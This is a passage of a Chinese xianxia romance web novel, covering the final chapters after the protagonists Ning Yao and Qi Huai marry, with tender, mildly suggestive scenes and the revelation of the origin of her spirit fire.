他眼底掠过一抹得逞般的微光,似撒娇样地低头,鼻尖蹭了蹭她的鼻尖:“这样喝,不甜吗?” 宁瑶简直拿他没办法。 这人不知怎么忽地开了窍,喂她喝完水,还要变着法子折腾了五六次才罢休。 她手臂无力地攀在他肩头,头靠在他泛着热意的胸膛,他凑近那眼尾两颗小痣。 “夫人,亲一口嘛。” 祁淮偏要她亲一口才肯停下。 湿濡的脸颊像只小兽,贴了贴她细密汗珠的额角蹭了蹭,似乎涉及此事他便有诸多法子让她“欲罢不能”。 宁瑶睁着湿濡的眼,依言亲在他眼尾,“这可以不?” 眼看夜已深,困得上涌,宁瑶忍不住提醒:“我想要睡了……” 祁淮啄吻唇一下,却一把将她托抱起来,不容分说地走向一张书案。 “夫人口是心非,”他坐下,让她面对面跨坐在自己腿上,目光灼灼地锁着她。 “明明这里……说喜欢。” 宁瑶耳根发热。 好在先前在床榻间已胡闹过几回,她倒也算适应这个姿势。 宁瑶索性破罐破摔,轻咬在他凸起的锁骨上留下个红印,余光扫过胸膛其他的印记,更是脸红心跳。 “就一回,完了我真要睡。” “好。”祁淮答应得干脆,掌心却滚烫地贴住她的腰侧,渡入灵力的动作缓慢而绵长。 他始终细细观察着她的神情,像在品尝一道舍不得吃完的点心。 宁瑶被他缠得没了脾气,舒服地轻哼出声。 察觉她并无抗拒,祁淮才低下头,吻细细落在她雪白的颈间。 他的吻潮湿而温柔,与气息里危险的侵略感截然不同。 宁瑶迷迷糊糊地想,身上矛盾的地方真多。可明知危险,却让人忍不住想尝一次。 天将亮时,祁淮才心满意足地拥着她躺回榻上。 宁瑶累得眼皮都抬不起来,餍足地蜷在他怀里。 他拧了湿帕子,轻轻替她擦净手脚与脸颊。动作太轻柔,反而让她催生了更深的困意。 她蹭了蹭祁淮胸口,找到一个安稳的位置,一腿闲散搭在他身上,沉沉地睡去。 祁淮此刻却毫无睡意。 他凑近额头与她相贴,嗅到她身上馨香里已然掺入自己的草木清气,仿佛某种隐秘的标记。 祁淮无声地扬起嘴角,指尖卷起她一缕长发在唇上亲了亲,看了她睡颜许久,才心满意足闭上眼。 宁瑶睡足醒转,一双温热的手正放在她腰际,不轻不重地揉着,酸胀中泛开暖意,舒服得她直想哼哼一声。 “这般力道,夫人可还满意?”祁淮瞧见她睡眼惺忪的模样,忍不住低头轻轻咬了下她的鼻尖。 宁瑶摸了摸鼻尖上湿漉漉的痕迹,点了点头,“嗯,不错。” 想起昨夜洞房花烛,灵肉交融的双修之法对彼此助益良多。加之祁淮处处以她的感受为先,过程倒也欢愉悸动。 只是祁淮精力实在旺盛得过分,难怪自己曾悄悄发觉,他有时竟能整宿不睡。 她用小腿碰了碰他的小腿,轻蹬了一下,“我们是不是该起了?这时辰不用餐,怕是要错过晚膳了。” “睡足了?”祁淮慵懒地单手撑头,寝衣的领口松散敞开,勾勒出一道深V,露出线条清晰的肌理,与昨夜她没留口,□□留下的几点暧昧的红痕。 宁瑶看得眼睛不可避免地睁大,惺忪睡意全无。眼神仿佛能穿透薄薄的衣料,窥见昨夜的“盛况”。 这家伙,这般有意无意,确实让人见之心痒痒。 “夫君……” 祁淮另一手的指尖极轻触划过她的脖颈,宁瑶喉头一滚,他闲适懒散一笑。 他转而将她鬓边碎发拢到耳后,“若还没够,为夫……” 宁瑶却画风一转,慌忙抬手捂住他的嘴,“青天白日就什么浑话都敢说。” 她脸颊一热,赶忙坐起来,“起身吧,我饿了。” 祁淮眼底掠过一丝狡黠的暗光,挺了挺胸膛,寝衣状似不经意滑落,更让某看得更清晰些。 宁瑶忍不住轻咳一声。 祁淮微歪头,凑近和她咬耳朵,实际故意在泛红耳垂上轻吹了一口,“夫人想到何处去了?为夫是想问,要不要喝水,我可代劳。” 宁瑶捏了捏拳头,舌尖有些渴意,耳尖热意难消,嗔地瞪他一眼:“你……” 若非她有定力,还真着了道。 宁瑶正要下榻,腰间酸得她轻嘶一声。 祁淮第一时间关切护着她的身形,顿生懊恼,刚刚诱惑过了头。 “夫人,我扶你。”话本上不全然对夫人有用了。 祁淮将她抱起,穿好鞋袜。待两人洗漱完毕,便转身去张罗饭菜。 宁瑶在屋里慢慢走动,舒展筋骨。 目光掠过昨夜这方书案,此刻已被擦拭得光洁,不留半分湿濡的痕迹。 她脸上微热,移开视线,余光却瞥见案头整齐不知何时摞着许多崭新的画纸。 她心下一动,坐于案前,研开朱砂,信笔画了一个穿着红装的Q版小人。 祁淮的脚步声并未掩饰。 宁瑶闻声抬头,这一次没有遮掩画纸。 只是被他靠近的目光瞧着,心下仍本能地轻颤了一下。可如今心底落定的安稳,足以让她压下这微不足道的紧张,坦然回望。 祁淮缓步走到宁瑶身后,双臂一左一右撑在椅背和桌沿,将她圈在方寸之间。 他垂眸,神色专注地端详画上小人眼尾的两颗小痣,唇角弯起,“夫人画得真好,这画工闻所未闻。这小人是我吗?” 被他直白夸奖,宁瑶很是受用,眉眼弯弯,唇角抑制不住地上扬,“嗯,是你。” 她被取悦的话也多一些,“这叫Q版,是把人物画得迷你可爱,突出特点。” 祁淮听着,目光仍流连在画上,唇角弧度愈扬,眼底欢愉的暗流涌动。 他低声提议,“夫人,不如再画一个你?” “好啊。”宁瑶取出鹅黄颜料,搭配朱砂,寥寥数笔,一个凤冠霞帔、眉眼含笑的小人便跃然纸上。 两个Q版小人儿携手而立。 祁淮看得眉眼舒展,笑意盈满,“这幅画,可以归我?” 宁瑶指尖灵光一点,覆于画上,“送你了,这样便永不褪色。” 祁淮轻轻拿起画纸,眼底闪过一抹得逞般的亮光。 他将画仔细收好,俯身侧头在她脸颊落下一个轻吻。 “往后夫人的画,我都要做第一个看见的人。” 宁瑶哼笑一声,“那你可要多夸我,反正画得好不好,可都得夸。”说完耳垂染上微红。 “自然。”祁淮从善如流又亲了她一下,牵着她的手起身,“夫人,饭菜好了。” 用过晚饭,已是黄昏。 祁淮忽起兴致要洒扫屋内,将她轻轻推到院中坐好,面前摆上洗净切好的鲜果。 宁瑶沉浸于画中时,一只修长的手指拈着果块递到嘴边。 她自然而然地含住,侧头便见祁淮专注的目光。 “收拾好了?”宁瑶咀嚼着含糊问道。 “嗯。”祁淮手臂一揽,便将人带到自己腿上坐着,掌心自然地环住她的腰。 他下颌蹭了蹭她脖颈,唇瓣似有若无地擦过肌肤,带来一阵酥麻的战栗。 “痒。”宁瑶小声嘟囔,笑着反手捏了一下他的腰打断他。 祁淮闷哼一声,差点没克制住。这才收起了恶劣的小心思,不在动了。 “夫人脸皮薄,屋里昨夜美好的记忆又太多。”祁淮转移话题,压低声音一笑。 宁瑶抬手捧住他的脸:“所以你特意去收拾了?” “是啊,室内里外都干净了。” 祁淮侧头,脸颊蹭着她的掌心,眼底满是狡黠,“不然夫人一想起来就脸红,我可克制不住。” ——虽然他的克制力,只要是和她在一起,那就是喂给了空气。 “夫人有没有奖励之法?” 这副模样如一只收起爪子,专会撒娇的狐狸。 狐狸不撒娇还好,一撒起娇来便让人心生爱意。 “夫君这是在撒娇?” “有何不可?嗯?”祁淮眸里欲念的暗光一闪而过。 可嘴上说着,祁淮耳廓却因她的话悄然红了红。 宁瑶余光扫过,憋着笑,“行,你自己挑。” “那得让我满意才算。”祁淮眼底是近乎病态的欢愉,他目光掠过她的唇,便直勾勾地顿住了。 空气霎时变得稀薄,某种共同的渴意悄然滋生。 宁瑶笑着,纵容地迎上靠近的气息,轻轻在他唇上啄了一下:“奖励。” “还要。”祁淮立刻追上来,呼吸萦绕。 “方才可没说还有第二下。” “现在说了,想要第二次。” 宁瑶噗嗤笑出声,又凑上去亲了亲他:“行,第二次。” 两人耳鬓厮磨了好一会儿,祁淮才心满意足地抱起她,黏黏糊糊地转身进屋。 门扉轻合,掩去一室旖旎声音。 新的鹅黄色长幔落下,光影交错,唯余交缠的身影在灵力环绕里渐入安眠。 作者有话说:陪大家跨2026年预备备[三花猫头][红心]今天是2025年最后一天,在此祝新的一年里小宝们身体健康,岁岁安安,万事顺遂,学业事业皆顺利。2026年与你们同在[黄心]《 》 【完结】 第95章 翌日清晨,因道侣结契仪式而留下的宾客尚未全散。 宁瑶起了个大早,和祁淮说了此事,他同时也被族长一早上请走了。 领着暂住客栈的明御和云冉冉,悠闲地逛起苗疆的街市。 她倒是没想到,两人不知何时眉目传情。乐的清闲,寻了机会开溜给两人留出空间。 正巧迎面撞见了巡城的玉溪锦。 她还没主动打声招呼,倒是玉溪锦耳语安排了手下人继续巡逻护城,冷硬一张俊脸走过来:“恭喜你们了。” 他似有话说,欲言又止。 “你似有话对我说?”宁瑶疑惑地眨了眨眼。 玉溪锦被她拆穿,倒也不遮掩:“是。” 他左右扫了一眼,才压低声音:“坊间早有传言,你的灵火对苗疆的蛊虫似是奇特,需得小心了。” 宁瑶听完,眼睛微微睁大,那一瞬的愕然被她飞快敛入眼底,随即点了点头:“明白,多谢了。” “夫人。”祁淮的声音自身后传来。 未等宁瑶回头,温热的手极其自然地滑入她的指缝,牢牢扣住,宣誓主权的小动作不着痕迹得落入玉溪锦眼底。 祁淮目光淡淡掠过一旁的他,未作停留,牵着宁瑶转身离开。 走了几步,宁瑶侧头瞧他,只见他额间沁着细密的汗,碎发还贴在鬓边。 宁瑶抬手用袖子替他擦去汗珠:“怎么跑得这么急?” “族长同我说了你灵力的事。”祁淮握宁瑶的手紧了紧,眸色沉了几分,“怕有不长眼的来扰你。” 他实在后怕,一路上心绪不宁。 宁瑶心下澄明,她身怀的乃是独一无二的九幽灵火,那是至霸之焰。 “不过……”祁淮忽地偏头,泛起一丝别样的笑意,眼尾微微上挑,“夫人有我。谁若敢动心思,我不介意请他尝尝我新养蛊虫的滋味。” “好啊。”宁瑶轻挽住他胳膊,“族长没再说别的?” “有。”祁淮故意拖长了调子,停下脚步,眼底闪着狡黠的光,好整以暇地瞅着她。 “说什么了?”宁瑶果然被勾起好奇,仰起脸,一双妍丽亮眸望着他。 这般好奇的夫人让人恨不得…… 祁淮险些没绷住脸上的戏谑,忍不住抬手轻轻揉了揉她的发顶,俯身凑近她耳畔,压低嗓音:“他说要给我家夫人,安个圣女的头衔玩玩。” 宁瑶提着一口气等来的竟是这么个答案,泄了劲儿,好笑地挑眉:“这么随意的吗?” “你之事,知道的人越少越好。” 祁淮牵着她继续往前走,语气漫不经心,“我替你拒了。反正我这圣子的名声也不差再多一条‘狂妄恣意’,让族长传是我做的便罢。” 他正说着,余光瞥见宁瑶心不在焉,差点一脚踩进路边水洼,当即手臂一揽,不由分说将她抱起。 “诶!”宁瑶轻呼一声,环住他脖颈。 祁淮浑不在意周遭的目光,抱着宁瑶走得大步流星径直回到竹屋。 踢开门扉,他径直走到院中那架摇椅前,才小心翼翼将她放下。 动作温柔的的,好似轻放什么易碎的珍宝。 “那虚名听着风光,实则是个‘笼子’。” 祁淮说着,在宁瑶面前单膝点地。 他握住她的脚踝,仔细拂去绣花鞋边沾上的一点泥渍。 他垂着眼,声音低缓,“‘戴’上它,再想离开苗疆可就难了。我家夫人这般性子,哪里耐得住?何况夫人不是还想继续修炼。” 他抬眼,对她笑了笑,“夫人自然不能像我一般拘束在这苗疆,我在这里便罢了,夫人可得自由些。” 宁瑶搂着他脖子,“知我者,夫君也。”她笑着凑近,飞快地在他唇上啄了一下。 祁淮难得被她主动亲近,昨夜记忆翻涌,眼底暗火一窜,又被强行压回深处。 他垂眸回味转瞬即逝的湿润触感,抿了抿唇,才将上扬的嘴角压平。 他弯腰,动作细致地将尘泥拭净,甫一直起身,便顺势贴近,将她困在椅中。 “夫人方才那一下如蜻蜓点水,为夫还未尝出滋味,不如再来一次,容我好生体会?”他嗓音带着点不易察觉的喑哑。 “夫君觉得不够?”宁瑶笑着,眼神飘向别处,故意岔开话头。 祁淮低笑,凑过去要啄她唇瓣,“对,不然只能为夫自己来讨了。” 宁瑶笑着向后仰,却快不过他的速度。祁淮手掌轻巧地扣住她后颈,指腹若有似无地摩挲着那一小块肌肤。 那里烙着他的魂印,缠着她的情缠蛊,系着不容轮回断绝的誓约。 他额头轻抵着宁瑶额头,眼睫低垂,摆出一副温良又无辜的神态,“夫人,行行好,别再折腾我了。” 宁瑶心头不禁一软,捏了捏他的指尖,“好吧,放过你啦。” 她这一纵容,祁淮便得了寸,更要进尺。 唇上一软,他气息逐渐侵入,不紧不慢地撬开齿关,攫取着她的气息,勾缠吸吮着丁香,辗转深入。 宁瑶被吻得气息紊乱,眼尾泛红,趁换气的间隙,不轻不重地咬了下祁淮的下唇。 “夫人,我错了。”祁淮立刻抬起眼,掩盖眸底的危险,如讨好主人的大型兽类凑近些。 宁瑶一眼看穿祁淮故作乖巧的把戏,明知道他是故意惹她心软,却还是没辙。 她指尖抚过他下唇浅浅的牙印,笑着将他推远了些,“得寸进尺了哈。” 忽地想起正事,宁瑶收了玩笑神色,摸了摸腕上的手串。 “不过,有件事倒真该告诉你。我的灵气确实并不寻常,乃是‘九幽灵火’,灵气霸道。说来也奇特,你体温偏低,我常觉燥热难安,可你靠近时方又舒缓。”宁瑶说完也仔细去看他的神色。 祁淮闻言,笑意深了些,并无讶色,反而是因她坦然而欢喜,“我早在为你疏导灵力,便察觉了。” “那么早?”宁瑶微愕。 “旁人皆惧我周身微凉的寒意,唯夫人不同,”他指尖绕着她一缕发丝,“自然能猜到一二。” 宁瑶又一次惊讶于他的敏锐。 她沉吟道:“可我平日灵力并无明显异样……” 她想起左长泽说了,这灵气逆行极为难受,可随着时间推移,她身上这种异样感从最初发作到后面逐渐消失。以至于宁瑶自那时到现在,很长一段时间没想到此事上去。 宁瑶眨了眨眼,笑着勾着他的小辫子轻轻地摇了摇,“夜晚时分,是夫君做了什么好事还不留名?” 祁淮听状笑得意味悠长,宁瑶确定自己猜对了。 “白日自然无虞。入夜后,灵火躁动逆行之时。夫人未曾察觉,夜深后,尤其安寝时,是否总会格外安稳些?” 宁瑶瞬间明了为何每每双修灵力运转都那般顺畅契合,灵气交融着实舒畅,原来并非偶然。 宁瑶抬眸:“你每晚都在替我疏导灵力?” “让夫人难受的事,自然不能留着。”祁淮微歪头,说得轻描淡写。 宁瑶立刻懂了。 九幽灵火的反噬,岂是轻易能化解的? 这法子极耗心神灵力,恐怕只有祁淮才会做得如此悄无声息,不计代价。 想通此节,再看祁淮一眼,里面清晰映着她的模样,专注得仿佛再也容不下其他。 宁瑶心口发热,酸软又充盈的情绪将她温柔地包裹。 祁淮满心满眼都是她的样子,实在让人难以招架。 宁瑶托着腮,眼珠一转,忽地凑近他,笑得像只窥破了他秘密的猫。 “夫君,你这是蓄谋已久了吧?” 祁淮没退,反而就着被她的距离,反手牵住她的手腕,轻轻晃了晃,吻了一下她的唇尾。 祁淮唇角绽开浅笑,眼底是晦暗又满足的愉悦,“是啊,夫人不是早该知道了?” 宁瑶回握住他的手,嗔怪地瞪去一眼。 可某人已得寸进尺地凑近,在她唇上又飞快地啄了一下,意犹未尽道:“这个时辰夫人饿了,我去做饭。” “好呀。”宁瑶看他转身进了厨房。 她端起茶杯抿了一口,思绪却飘到九幽灵火上。 此事仍有一处未通,此火如此霸道,为何羽安国皇室上下,唯公主娘亲羽青月一人炼成? 正思索间,储物玉佩轻轻一晃。 宁瑶神识探入,捏住了那本正在颤动的天机书。 “舍得醒了?”她将它拎出来,摊在桌上。 天机书装死不动。 宁瑶不客气地拍了拍书简:“别装。” 这时,祁淮正好端着两碟小菜走出来,目光落在书上:“这便是天机书?” “可不是,”宁瑶没好气地戳着它,“不是在睡觉,就是在装死。好不容易醒了,满是空白,不如一块砖头有用。” 天机书忽的摊开,浮起一行墨字:九幽灵火,乃置之死地而后生之火。 宁瑶一怔,指尖顿住。 不等她细想,书页又自行翻动,赫然显出三个刺眼的字:十面藤。 她心口猛地一缩:“天机书,你什么意思?” 仿佛回应她的质问,新字迹浮现:羽青月身中十面藤剧毒,灵火为护主而异变,然其灵脉终损。异火无主,遂循血脉至亲,择你而继。 “原来如此。” 连这霸道炽烈的火焰,也是娘亲在生死关头,为她铺好的又一程路。 酸热涌上眼眶,宁瑶转头,声音发闷:“夫君,我想娘亲了。” 祁淮放下碗筷,手指轻抚过她泛红的眼尾,轻轻地极为温柔地摩挲。 “好,此间事了,我们便回羽安国。” “好。”宁瑶抬眼看他,眸中水光潋滟,扬起一个明亮的笑,将它塞回玉佩。 桌上,菜肴已热气腾腾地摆开。 桂花簌簌落下,拂过衣袖,染得清甜。 两人相对而坐,目光相接同时笑了。 余生漫漫,皆如此刻。 岁月悠长,温暖如歌。 ——正文完——《 》